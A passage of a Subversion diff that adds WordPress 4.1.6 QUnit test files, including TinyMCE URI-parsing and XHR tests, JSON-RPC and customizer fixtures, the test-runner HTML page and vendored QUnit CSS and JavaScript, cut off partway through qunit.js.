+	equal(uri.toRelative('//www.site.com/dir1/file2'), 'file2');
+	equal(uri.toRelative('//www.site2.com/dir1/file2'), '//www.site2.com/dir1/file2');
+	equal(uri.toAbsolute('../file2'), '//www.site.com/dir1/file2');
+	equal(uri.toAbsolute('//www.site2.com/dir1/file2'), '//www.site2.com/dir1/file2');
+});
+
+test('parseFullURLs', 3, function() {
+	equal(new tinymce.util.URI('http://abc:123@www.site.com:8080/path/dir/file.ext?key1=val1&key2=val2#hash').getURI(), 'http://abc:123@www.site.com:8080/path/dir/file.ext?key1=val1&key2=val2#hash');
+	ok(new tinymce.util.URI('http://a2bc:123@www.site.com:8080/path/dir/file.ext?key1=val1&key2=val2#hash').getURI() != 'http://abc:123@www.site.com:8080/path/dir/file.ext?key1=val1&key2=val2#hash');
+	equal(new tinymce.util.URI('chrome-extension://abcdefghijklmnopqrstuvwzyz1234567890:8080/path/dir/file.ext?key1=val1&key2=val2#hash').getURI(), 'chrome-extension://abcdefghijklmnopqrstuvwzyz1234567890:8080/path/dir/file.ext?key1=val1&key2=val2#hash');
+});
+
+test('relativeURLs', 31, function() {
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/file.html').toRelative('http://www.site.com/dir1/dir3/file.html'), '../dir3/file.html');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/file.html').toRelative('http://www.site.com/dir3/dir4/file.html'), '../../dir3/dir4/file.html');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/').toRelative('http://www.site.com/dir1/dir3/file.htm'), 'dir3/file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('http://www.site2.com/dir1/dir3/file.htm'), 'http://www.site2.com/dir1/dir3/file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('http://www.site.com:8080/dir1/dir3/file.htm'), 'http://www.site.com:8080/dir1/dir3/file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('https://www.site.com/dir1/dir3/file.htm'), 'https://www.site.com/dir1/dir3/file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('/file.htm'), '../../file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('/file.htm?id=1#a'), '../../file.htm?id=1#a');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('mailto:test@test.com'), 'mailto:test@test.com');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('news:test'), 'news:test');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('javascript:void(0);'), 'javascript:void(0);');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('about:blank'), 'about:blank');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('#test'), '#test');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('test.htm'), 'test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('http://www.site.com/dir1/dir2/test.htm'), 'test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('dir2/test.htm'), 'dir2/test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('../dir2/test.htm'), 'test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('../dir3/'), '../dir3/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('../../../../../../test.htm'), '../../test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('//www.site.com/test.htm'), '../../test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('@@tinymce'), '@@tinymce'); // Zope 3 URL
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('../@@tinymce'), '../@@tinymce'); // Zope 3 URL
+	equal(new tinymce.util.URI('http://www.site.com/').toRelative('dir2/test.htm'), 'dir2/test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/').toRelative('./'), './');
+	equal(new tinymce.util.URI('http://www.site.com/test/').toRelative('../'), '../');
+	equal(new tinymce.util.URI('http://www.site.com/test/test/').toRelative('../'), '../');
+	equal(new tinymce.util.URI('chrome-extension://abcdefghijklmnopqrstuvwzyz1234567890/dir1/dir2/').toRelative('/dir1', true), '../');
+	equal(new tinymce.util.URI('http://www.site.com/').toRelative('http://www.site.com/'), 'http://www.site.com/');
+	equal(new tinymce.util.URI('http://www.site.com/').toRelative('http://www.site.com'), 'http://www.site.com/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('/file.htm?q=http://site.com/'), '../../file.htm?q=http://site.com/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toRelative('/file.htm#http://site.com/'), '../../file.htm#http://site.com/');
+});
+
+test('absoluteURLs', 19, function() {
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute(''), 'http://www.site.com/dir1/dir2/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('../dir3'), 'http://www.site.com/dir1/dir3');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('../dir3', 1), '/dir1/dir3');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('../../../../dir3'), 'http://www.site.com/dir3');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('../abc/def/../../abc/../dir3/file.htm'), 'http://www.site.com/dir1/dir3/file.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('http://www.site.com/dir2/dir3'), 'http://www.site.com/dir2/dir3');
+	equal(new tinymce.util.URI('http://www.site2.com/dir1/dir2/').toAbsolute('http://www.site2.com/dir2/dir3'), 'http://www.site2.com/dir2/dir3');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('mailto:test@test.com'), 'mailto:test@test.com');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('news:test'), 'news:test');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('javascript:void(0);'), 'javascript:void(0);');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('about:blank'), 'about:blank');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('#test'), '#test');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('test.htm'), 'http://www.site.com/dir1/dir2/test.htm');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('../@@tinymce'), 'http://www.site.com/dir1/@@tinymce'); // Zope 3 URL
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').getURI(), 'http://www.site.com/dir1/dir2/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('/dir1/dir1/'), 'http://www.site.com/dir1/dir1/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('https://www.site.com/dir1/dir2/', true), 'https://www.site.com/dir1/dir2/');
+	equal(new tinymce.util.URI('http://www.site.com/dir1/dir2/').toAbsolute('http://www.site.com/dir1/dir2/', true), '/dir1/dir2/');
+	equal(new tinymce.util.URI('chrome-extension://abcdefghijklmnopqrstuvwzyz1234567890/dir1/dir2/').toAbsolute('chrome-extension://abcdefghijklmnopqrstuvwzyz1234567890/dir1/dir2/', true), '/dir1/dir2/');
+});
+
+test('strangeURLs', 6, function() {
+	equal(new tinymce.util.URI('//www.site.com').getURI(), '//www.site.com');
+	equal(new tinymce.util.URI('mailto:test@test.com').getURI(), 'mailto:test@test.com');
+	equal(new tinymce.util.URI('news:somegroup').getURI(), 'news:somegroup');
+	equal(new tinymce.util.URI('skype:somegroup').getURI(), 'skype:somegroup');
+	equal(new tinymce.util.URI('tel:somegroup').getURI(), 'tel:somegroup');
+	equal(new tinymce.util.URI('//www.site.com/a@b').getURI(), '//www.site.com/a@b');
+});
+
+test('isSameOrigin', function() {
+	ok(new tinymce.util.URI('http://www.site.com').isSameOrigin(new tinymce.util.URI('http://www.site.com')));
+	ok(new tinymce.util.URI('//www.site.com').isSameOrigin(new tinymce.util.URI('//www.site.com')));
+	ok(new tinymce.util.URI('http://www.site.com:80').isSameOrigin(new tinymce.util.URI('http://www.site.com')));
+	ok(new tinymce.util.URI('https://www.site.com:443').isSameOrigin(new tinymce.util.URI('https://www.site.com')));
+	ok(new tinymce.util.URI('//www.site.com:80').isSameOrigin(new tinymce.util.URI('//www.site.com:80')));
+	ok(new tinymce.util.URI('mailto:test@site.com').isSameOrigin(new tinymce.util.URI('mailto:test@site.com')));
+	ok(new tinymce.util.URI('mailto:test@site.com:25').isSameOrigin(new tinymce.util.URI('mailto:test@site.com')));
+	ok(new tinymce.util.URI('ftp://www.site.com').isSameOrigin(new tinymce.util.URI('ftp://www.site.com')));
+	ok(new tinymce.util.URI('ftp://www.site.com:21').isSameOrigin(new tinymce.util.URI('ftp://www.site.com')));
+	ok(new tinymce.util.URI('https://www.site.com').isSameOrigin(new tinymce.util.URI('http://www.site.com')) == false);
+	ok(new tinymce.util.URI('http://www.site.com:8080').isSameOrigin(new tinymce.util.URI('http://www.site.com')) == false);
+	ok(new tinymce.util.URI('https://www.site.com:8080').isSameOrigin(new tinymce.util.URI('https://www.site.com')) == false);
+	ok(new tinymce.util.URI('ftp://www.site.com:1021').isSameOrigin(new tinymce.util.URI('ftp://www.site.com')) == false);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/XHR.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/XHR.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/XHR.js	(revision 33402)
@@ -0,0 +1,38 @@
+if (location.protocol != "file:") {
+	module("tinymce.util.XHR");
+
+	asyncTest("Successful request", function() {
+		expect(5);
+
+		tinymce.util.XHR.on('beforeSend', function(e) {
+			e.xhr.test = 123;
+			e.settings.test = 456;
+		});
+
+		tinymce.util.XHR.send({
+			url: 'tinymce/util/json_rpc_ok.js',
+			success: function(data, xhr, input) {
+				equal(tinymce.trim(data), '{"result": "Hello JSON-RPC", "error": null, "id": 1}');
+				ok(!!xhr.status);
+				equal(input.url, 'tinymce/util/json_rpc_ok.js');
+				equal(xhr.test, 123);
+				equal(input.test, 456);
+				start();
+			}
+		});
+	});
+
+	asyncTest("Unsuccessful request", function() {
+		expect(3);
+
+		tinymce.util.XHR.send({
+			url: 'tinymce/util/404.js',
+			error: function(type, xhr, input) {
+				equal(type, 'GENERAL');
+				ok(!!xhr.status);
+				equal(input.url, 'tinymce/util/404.js');
+				start();
+			}
+		});
+	});
+}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_error.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_error.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_error.js	(revision 33402)
@@ -0,0 +1,1 @@
+{"result": null, "error": {"message":"General failure","code":42}, "id": 1}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_ok.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_ok.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/json_rpc_ok.js	(revision 33402)
@@ -0,0 +1,1 @@
+{"result": "Hello JSON-RPC", "error": null, "id": 1}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/test.xml
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/test.xml	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/test.xml	(revision 33402)
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+<root>
+	<tag>
+		ÅÄÖ
+	</tag>
+</root>
Index: /tags/4.1.6/tests/qunit/fixtures/customize-header.js
===================================================================
--- /tags/4.1.6/tests/qunit/fixtures/customize-header.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/fixtures/customize-header.js	(revision 33402)
@@ -0,0 +1,46 @@
+window.wp = window.wp || {};
+window.wp.customize = window.wp.customize || { get: function(){}  };
+window._wpCustomizeHeader = {};
+window._wpCustomizeHeader.uploads = {
+	'cropped-abstract_00601126.jpg': {
+		'attachment_id': 1,
+		'url': 'http://dev.local/2013/11/cropped-abstract_00601126.jpg',
+		'thumbnail_url': 'http://dev.local/2013/11/cropped-abstract_00601126.jpg',
+		'width': 1600,
+		'height': 230,
+		'timestamp': 1385045565
+	},
+	'cropped-cropped-miniature-golden-retriever-puppies-for-sale01127.jpg': {
+		'attachment_id': 2,
+		'url': 'http://dev.local/2013/11/cropped-cropped-miniature-golden-retriever-puppies-for-sale01127.jpg',
+		'thumbnail_url': 'http://dev.local/2013/11/cropped-cropped-miniature-golden-retriever-puppies-for-sale01127.jpg',
+		'width': 1600,
+		'height': 230,
+		'timestamp': 1385045566
+	},
+	'cropped-tumblr_m20paq9cjn1qbkdcro1_5003.png': {
+		'attachment_id': 3,
+		'url': 'http://dev.local/2013/11/cropped-tumblr_m20paq9cjn1qbkdcro1_5003.png',
+		'thumbnail_url': 'http://dev.local/2013/11/cropped-tumblr_m20paq9cjn1qbkdcro1_5003.png',
+		'width': 1600,
+		'height': 230,
+		'timestamp': 1385045567
+	}
+};
+window._wpCustomizeHeader.defaults = {
+	'circle': {
+		'url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/circle.png',
+		'thumbnail_url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/circle-thumbnail.png',
+		'description': 'Circle'
+	},
+	'diamond': {
+		'url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/diamond.png',
+		'thumbnail_url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/diamond-thumbnail.png',
+		'description': 'Diamond'
+	},
+	'star': {
+		'url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/star.png',
+		'thumbnail_url': 'https://dev.local/wp-content/themes/pub/twentythirteen/images/headers/star-thumbnail.png',
+		'description': 'Star'
+	}
+};
Index: /tags/4.1.6/tests/qunit/index.html
===================================================================
--- /tags/4.1.6/tests/qunit/index.html	(revision 33402)
+++ /tags/4.1.6/tests/qunit/index.html	(revision 33402)
@@ -0,0 +1,45 @@
+<!DOCTYPE HTML>
+<html>
+<head>
+  <title>WordPress QUnit Test Suite</title>
+
+  <!-- Dependencies -->
+  <script src="../../src/wp-includes/js/jquery/jquery.js"></script>
+  <script src="../../src/wp-includes/js/underscore.min.js"></script>
+  <script src="../../src/wp-includes/js/backbone.min.js"></script>
+  <script src="../../src/wp-includes/js/zxcvbn.min.js"></script>
+
+  <!-- QUnit -->
+  <link rel="stylesheet" href="vendor/qunit.css" type="text/css" media="screen" />
+  <script src="vendor/qunit.js"></script>
+  <script src="vendor/sinon.js"></script>
+  <script src="vendor/sinon-qunit.js"></script>
+</head>
+<body>
+  <div>
+    <h1 id="qunit-header">WordPress QUnit Test Suite</h1>
+    <h2 id="qunit-banner"></h2>
+    <h2 id="qunit-userAgent"></h2>
+    <ol id="qunit-tests"></ol>
+    <div id="qunit-fixture">
+      <script src="fixtures/customize-header.js"></script>
+    </div>
+    <p><a href="editor">TinyMCE tests</a></p>
+
+    <!-- Tested files -->
+    <script src="../../src/wp-admin/js/password-strength-meter.js"></script>
+    <script src="../../src/wp-includes/js/customize-base.js"></script>
+    <script src="../../src/wp-includes/js/customize-models.js"></script>
+    <script src="../../src/wp-includes/js/shortcode.js"></script>
+    <script src="../../src/wp-admin/js/customize-controls.js"></script>
+
+    <!-- Unit tests -->
+    <script src="wp-admin/js/password-strength-meter.js"></script>
+    <script src="wp-admin/js/customize-base.js"></script>
+    <script src="wp-admin/js/customize-header.js"></script>
+    <script src="wp-includes/js/shortcode.js"></script>
+    <script src="wp-admin/js/customize-controls.js"></script>
+    <script src="wp-admin/js/customize-controls-utils.js"></script>
+  </div>
+</body>
+</html>
Index: /tags/4.1.6/tests/qunit/vendor/qunit.css
===================================================================
--- /tags/4.1.6/tests/qunit/vendor/qunit.css	(revision 33402)
+++ /tags/4.1.6/tests/qunit/vendor/qunit.css	(revision 33402)
@@ -0,0 +1,244 @@
+/**
+ * QUnit v1.12.0 - A JavaScript Unit Testing Framework
+ *
+ * http://qunitjs.com
+ *
+ * Copyright 2012 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/** Font Family and Sizes */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult {
+	font-family: "Helvetica Neue Light", "HelveticaNeue-Light", "Helvetica Neue", Calibri, Helvetica, Arial, sans-serif;
+}
+
+#qunit-testrunner-toolbar, #qunit-userAgent, #qunit-testresult, #qunit-tests li { font-size: small; }
+#qunit-tests { font-size: smaller; }
+
+
+/** Resets */
+
+#qunit-tests, #qunit-header, #qunit-banner, #qunit-userAgent, #qunit-testresult, #qunit-modulefilter {
+	margin: 0;
+	padding: 0;
+}
+
+
+/** Header */
+
+#qunit-header {
+	padding: 0.5em 0 0.5em 1em;
+
+	color: #8699a4;
+	background-color: #0d3349;
+
+	font-size: 1.5em;
+	line-height: 1em;
+	font-weight: normal;
+
+	border-radius: 5px 5px 0 0;
+	-moz-border-radius: 5px 5px 0 0;
+	-webkit-border-top-right-radius: 5px;
+	-webkit-border-top-left-radius: 5px;
+}
+
+#qunit-header a {
+	text-decoration: none;
+	color: #c2ccd1;
+}
+
+#qunit-header a:hover,
+#qunit-header a:focus {
+	color: #fff;
+}
+
+#qunit-testrunner-toolbar label {
+	display: inline-block;
+	padding: 0 .5em 0 .1em;
+}
+
+#qunit-banner {
+	height: 5px;
+}
+
+#qunit-testrunner-toolbar {
+	padding: 0.5em 0 0.5em 2em;
+	color: #5E740B;
+	background-color: #eee;
+	overflow: hidden;
+}
+
+#qunit-userAgent {
+	padding: 0.5em 0 0.5em 2.5em;
+	background-color: #2b81af;
+	color: #fff;
+	text-shadow: rgba(0, 0, 0, 0.5) 2px 2px 1px;
+}
+
+#qunit-modulefilter-container {
+	float: right;
+}
+
+/** Tests: Pass/Fail */
+
+#qunit-tests {
+	list-style-position: inside;
+}
+
+#qunit-tests li {
+	padding: 0.4em 0.5em 0.4em 2.5em;
+	border-bottom: 1px solid #fff;
+	list-style-position: inside;
+}
+
+#qunit-tests.hidepass li.pass, #qunit-tests.hidepass li.running  {
+	display: none;
+}
+
+#qunit-tests li strong {
+	cursor: pointer;
+}
+
+#qunit-tests li a {
+	padding: 0.5em;
+	color: #c2ccd1;
+	text-decoration: none;
+}
+#qunit-tests li a:hover,
+#qunit-tests li a:focus {
+	color: #000;
+}
+
+#qunit-tests li .runtime {
+	float: right;
+	font-size: smaller;
+}
+
+.qunit-assert-list {
+	margin-top: 0.5em;
+	padding: 0.5em;
+
+	background-color: #fff;
+
+	border-radius: 5px;
+	-moz-border-radius: 5px;
+	-webkit-border-radius: 5px;
+}
+
+.qunit-collapsed {
+	display: none;
+}
+
+#qunit-tests table {
+	border-collapse: collapse;
+	margin-top: .2em;
+}
+
+#qunit-tests th {
+	text-align: right;
+	vertical-align: top;
+	padding: 0 .5em 0 0;
+}
+
+#qunit-tests td {
+	vertical-align: top;
+}
+
+#qunit-tests pre {
+	margin: 0;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+#qunit-tests del {
+	background-color: #e0f2be;
+	color: #374e0c;
+	text-decoration: none;
+}
+
+#qunit-tests ins {
+	background-color: #ffcaca;
+	color: #500;
+	text-decoration: none;
+}
+
+/*** Test Counts */
+
+#qunit-tests b.counts                       { color: black; }
+#qunit-tests b.passed                       { color: #5E740B; }
+#qunit-tests b.failed                       { color: #710909; }
+
+#qunit-tests li li {
+	padding: 5px;
+	background-color: #fff;
+	border-bottom: none;
+	list-style-position: inside;
+}
+
+/*** Passing Styles */
+
+#qunit-tests li li.pass {
+	color: #3c510c;
+	background-color: #fff;
+	border-left: 10px solid #C6E746;
+}
+
+#qunit-tests .pass                          { color: #528CE0; background-color: #D2E0E6; }
+#qunit-tests .pass .test-name               { color: #366097; }
+
+#qunit-tests .pass .test-actual,
+#qunit-tests .pass .test-expected           { color: #999999; }
+
+#qunit-banner.qunit-pass                    { background-color: #C6E746; }
+
+/*** Failing Styles */
+
+#qunit-tests li li.fail {
+	color: #710909;
+	background-color: #fff;
+	border-left: 10px solid #EE5757;
+	white-space: pre;
+}
+
+#qunit-tests > li:last-child {
+	border-radius: 0 0 5px 5px;
+	-moz-border-radius: 0 0 5px 5px;
+	-webkit-border-bottom-right-radius: 5px;
+	-webkit-border-bottom-left-radius: 5px;
+}
+
+#qunit-tests .fail                          { color: #000000; background-color: #EE5757; }
+#qunit-tests .fail .test-name,
+#qunit-tests .fail .module-name             { color: #000000; }
+
+#qunit-tests .fail .test-actual             { color: #EE5757; }
+#qunit-tests .fail .test-expected           { color: green;   }
+
+#qunit-banner.qunit-fail                    { background-color: #EE5757; }
+
+
+/** Result */
+
+#qunit-testresult {
+	padding: 0.5em 0.5em 0.5em 2.5em;
+
+	color: #2b81af;
+	background-color: #D2E0E6;
+
+	border-bottom: 1px solid white;
+}
+#qunit-testresult .module-name {
+	font-weight: bold;
+}
+
+/** Fixture */
+
+#qunit-fixture {
+	position: absolute;
+	top: -10000px;
+	left: -10000px;
+	width: 1000px;
+	height: 1000px;
+}
Index: /tags/4.1.6/tests/qunit/vendor/qunit.js
===================================================================
--- /tags/4.1.6/tests/qunit/vendor/qunit.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/vendor/qunit.js	(revision 33402)
@@ -0,0 +1,2212 @@
+/**
+ * QUnit v1.12.0 - A JavaScript Unit Testing Framework
+ *
+ * http://qunitjs.com
+ *
+ * Copyright 2013 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * https://jquery.org/license/
+ */
+
+(function( window ) {
+
+var QUnit,
+	assert,
+	config,
+	onErrorFnPrev,
+	testId = 0,
+	fileName = (sourceFromStacktrace( 0 ) || "" ).replace(/(:\d+)+\)?/, "").replace(/.+\//, ""),
+	toString = Object.prototype.toString,
+	hasOwn = Object.prototype.hasOwnProperty,
+	// Keep a local reference to Date (GH-283)
+	Date = window.Date,
+	setTimeout = window.setTimeout,
+	defined = {
+		setTimeout: typeof window.setTimeout !== "undefined",
+		sessionStorage: (function() {
+			var x = "qunit-test-string";
+			try {
+				sessionStorage.setItem( x, x );
+				sessionStorage.removeItem( x );
+				return true;
+			} catch( e ) {
+				return false;
+			}
+		}())
+	},
+	/**
+	 * Provides a normalized error string, correcting an issue
+	 * with IE 7 (and prior) where Error.prototype.toString is
+	 * not properly implemented
+	 *
+	 * Based on http://es5.github.com/#x15.11.4.4
+	 *
+	 * @param {String|Error} error
+	 * @return {String} error message
+	 */
+	errorString = function( error ) {
+		var name, message,
+			errorString = error.toString();
+		if ( errorString.substring( 0, 7 ) === "[object" ) {
+			name = error.name ? error.name.toString() : "Error";
+			message = error.message ? error.message.toString() : "";
+			if ( name && message ) {
+				return name + ": " + message;
+			} else if ( name ) {
+				return name;
+			} else if ( message ) {
+				return message;
+			} else {
+				return "Error";
+			}
+		} else {
+			return errorString;
+		}
+	},
+	/**
+	 * Makes a clone of an object using only Array or Object as base,
+	 * and copies over the own enumerable properties.
+	 *
+	 * @param {Object} obj
+	 * @return {Object} New object with only the own properties (recursively).
+	 */
+	objectValues = function( obj ) {
+		// Grunt 0.3.x uses an older version of jshint that still has jshint/jshint#392.
+		/*jshint newcap: false */
+		var key, val,
+			vals = QUnit.is( "array", obj ) ? [] : {};
+		for ( key in obj ) {
+			if ( hasOwn.call( obj, key ) ) {
+				val = obj[key];
+				vals[key] = val === Object(val) ? objectValues(val) : val;
+			}
+		}
+		return vals;
+	};
+
+function Test( settings ) {
+	extend( this, settings );
+	this.assertions = [];
+	this.testNumber = ++Test.count;
+}
+
+Test.count = 0;
+
+Test.prototype = {
+	init: function() {
+		var a, b, li,
+			tests = id( "qunit-tests" );
+
+		if ( tests ) {
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml;
+
+			// `a` initialized at top of scope
+			a = document.createElement( "a" );
+			a.innerHTML = "Rerun";
+			a.href = QUnit.url({ testNumber: this.testNumber });
+
+			li = document.createElement( "li" );
+			li.appendChild( b );
+			li.appendChild( a );
+			li.className = "running";
+			li.id = this.id = "qunit-test-output" + testId++;
+
+			tests.appendChild( li );
+		}
+	},
+	setup: function() {
+		if (
+			// Emit moduleStart when we're switching from one module to another
+			this.module !== config.previousModule ||
+				// They could be equal (both undefined) but if the previousModule property doesn't
+				// yet exist it means this is the first test in a suite that isn't wrapped in a
+				// module, in which case we'll just emit a moduleStart event for 'undefined'.
+				// Without this, reporters can get testStart before moduleStart  which is a problem.
+				!hasOwn.call( config, "previousModule" )
+		) {
+			if ( hasOwn.call( config, "previousModule" ) ) {
+				runLoggingCallbacks( "moduleDone", QUnit, {
+					name: config.previousModule,
+					failed: config.moduleStats.bad,
+					passed: config.moduleStats.all - config.moduleStats.bad,
+					total: config.moduleStats.all
+				});
+			}
+			config.previousModule = this.module;
+			config.moduleStats = { all: 0, bad: 0 };
+			runLoggingCallbacks( "moduleStart", QUnit, {
+				name: this.module
+			});
+		}
+
+		config.current = this;
+
+		this.testEnvironment = extend({
+			setup: function() {},
+			teardown: function() {}
+		}, this.moduleTestEnvironment );
+
+		this.started = +new Date();
+		runLoggingCallbacks( "testStart", QUnit, {
+			name: this.testName,
+			module: this.module
+		});
+
+		/*jshint camelcase:false */
+
+
+		/**
+		 * Expose the current test environment.
+		 *
+		 * @deprecated since 1.12.0: Use QUnit.config.current.testEnvironment instead.
+		 */
+		QUnit.current_testEnvironment = this.testEnvironment;
+
+		/*jshint camelcase:true */
+
+		if ( !config.pollution ) {
+			saveGlobal();
+		}
+		if ( config.notrycatch ) {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+			return;
+		}
+		try {
+			this.testEnvironment.setup.call( this.testEnvironment, QUnit.assert );
+		} catch( e ) {
+			QUnit.pushFailure( "Setup failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+		}
+	},
+	run: function() {
+		config.current = this;
+
+		var running = id( "qunit-testresult" );
+
+		if ( running ) {
+			running.innerHTML = "Running: <br/>" + this.nameHtml;
+		}
+
+		if ( this.async ) {
+			QUnit.stop();
+		}
+
+		this.callbackStarted = +new Date();
+
+		if ( config.notrycatch ) {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+			return;
+		}
+
+		try {
+			this.callback.call( this.testEnvironment, QUnit.assert );
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+		} catch( e ) {
+			this.callbackRuntime = +new Date() - this.callbackStarted;
+
+			QUnit.pushFailure( "Died on test #" + (this.assertions.length + 1) + " " + this.stack + ": " + ( e.message || e ), extractStacktrace( e, 0 ) );
+			// else next test will carry the responsibility
+			saveGlobal();
+
+			// Restart the tests if they're blocking
+			if ( config.blocking ) {
+				QUnit.start();
+			}
+		}
+	},
+	teardown: function() {
+		config.current = this;
+		if ( config.notrycatch ) {
+			if ( typeof this.callbackRuntime === "undefined" ) {
+				this.callbackRuntime = +new Date() - this.callbackStarted;
+			}
+			this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			return;
+		} else {
+			try {
+				this.testEnvironment.teardown.call( this.testEnvironment, QUnit.assert );
+			} catch( e ) {
+				QUnit.pushFailure( "Teardown failed on " + this.testName + ": " + ( e.message || e ), extractStacktrace( e, 1 ) );
+			}
+		}
+		checkPollution();
+	},
+	finish: function() {
+		config.current = this;
+		if ( config.requireExpects && this.expected === null ) {
+			QUnit.pushFailure( "Expected number of assertions to be defined, but expect() was not called.", this.stack );
+		} else if ( this.expected !== null && this.expected !== this.assertions.length ) {
+			QUnit.pushFailure( "Expected " + this.expected + " assertions, but " + this.assertions.length + " were run", this.stack );
+		} else if ( this.expected === null && !this.assertions.length ) {
+			QUnit.pushFailure( "Expected at least one assertion, but none were run - call expect(0) to accept zero assertions.", this.stack );
+		}
+
+		var i, assertion, a, b, time, li, ol,
+			test = this,
+			good = 0,
+			bad = 0,
+			tests = id( "qunit-tests" );
+
+		this.runtime = +new Date() - this.started;
+		config.stats.all += this.assertions.length;
+		config.moduleStats.all += this.assertions.length;
+
+		if ( tests ) {
+			ol = document.createElement( "ol" );
+			ol.className = "qunit-assert-list";
+
+			for ( i = 0; i < this.assertions.length; i++ ) {
+				assertion = this.assertions[i];
+
+				li = document.createElement( "li" );
+				li.className = assertion.result ? "pass" : "fail";
+				li.innerHTML = assertion.message || ( assertion.result ? "okay" : "failed" );
+				ol.appendChild( li );
+
+				if ( assertion.result ) {
+					good++;
+				} else {
+					bad++;
+					config.stats.bad++;
+					config.moduleStats.bad++;
+				}
+			}
+
+			// store result when possible
+			if ( QUnit.config.reorder && defined.sessionStorage ) {
+				if ( bad ) {
+					sessionStorage.setItem( "qunit-test-" + this.module + "-" + this.testName, bad );
+				} else {
+					sessionStorage.removeItem( "qunit-test-" + this.module + "-" + this.testName );
+				}
+			}
+
+			if ( bad === 0 ) {
+				addClass( ol, "qunit-collapsed" );
+			}
+
+			// `b` initialized at top of scope
+			b = document.createElement( "strong" );
+			b.innerHTML = this.nameHtml + " <b class='counts'>(<b class='failed'>" + bad + "</b>, <b class='passed'>" + good + "</b>, " + this.assertions.length + ")</b>";
+
+			addEvent(b, "click", function() {
+				var next = b.parentNode.lastChild,
+					collapsed = hasClass( next, "qunit-collapsed" );
